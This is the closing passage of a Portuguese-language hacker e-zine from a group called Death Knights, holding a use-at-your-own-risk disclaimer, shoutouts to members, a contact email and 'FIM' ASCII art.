        responsabilidade. Se voce fizer algo descrito e se der mal, problema
        seu. Nos ensinamos, mas nao pedimos para usarem o conhecimento
        adquirido com este zine.

Shoutz:    [Raul]  [darksystem]  [Spike-]  [rsh]  [Frango_Paraplegico]
             [psicotati]   [Vaca_Tetraplegica]   [ThAnAtH0s]   [MDP]

        Ate o proximo numero!

 ______________________________Death_Knights_________________________________
 ----------------------------------------------------------------------------

                            Criticas? Sugestoes?

                           death@DeathKnights.com

M]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FI
M]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[   ]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FI
M]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FI
M]|[FIM]|                 |[FIM]|     |[FIM]|[FIM]        FIM        [FIM]|[FI
M]|[FIM]|                 |[FIM]|     |[FIM]|[FIM   FI    FIM    IM   FIM]|[FI
M]|[FIM]|     |[FIM]|[FIM]|[FIM]|     |[FIM]|[FIM   FI     I     IM   FIM]|[FI
M]|[FIM]|     |[FIM]|[FIM]|[FIM]|     |[FIM]|[FIM   FIM    I    FIM   FIM]|[FI
M]|[FIM]|           |[FIM]|[FIM]|     |[FIM]|[FIM   FIM         FIM   FIM]|[FI
M]|[FIM]|        IM]|[FIM]|[FIM]|     |[FIM]|[FIM   FIM]       [FIM   FIM]|[FI
M]|[FIM]|     |[FIM]|[FIM]|[FIM]|     |[FIM]|[FI   [FIM]|[   ]|[FIM   FIM]|[FI
M]|[FIM]|     |[FIM]|[FIM]|[FIM]|     |[FIM]|[FI   [FIM]|[   ]|[FIM]   IM]|[FI
M]|[FIM]|     |[FIM]|[FIM]|[FIM]|     |[FIM]|[FI   [FIM]|[F M]|[FIM]   IM]|[FI
M]|[FIM]|     |[FIM]|[FIM]|[FIM]|     |[FIM]|[F    [FIM]|[F M]|[FIM]    M]|[FI
M]|[FIM]|     |[FIM]|[FIM]|[FIM]|     |[FIM]|[F    [FIM]|[FIM]|[FIM]    M]|[FI
M]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FI
M]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FI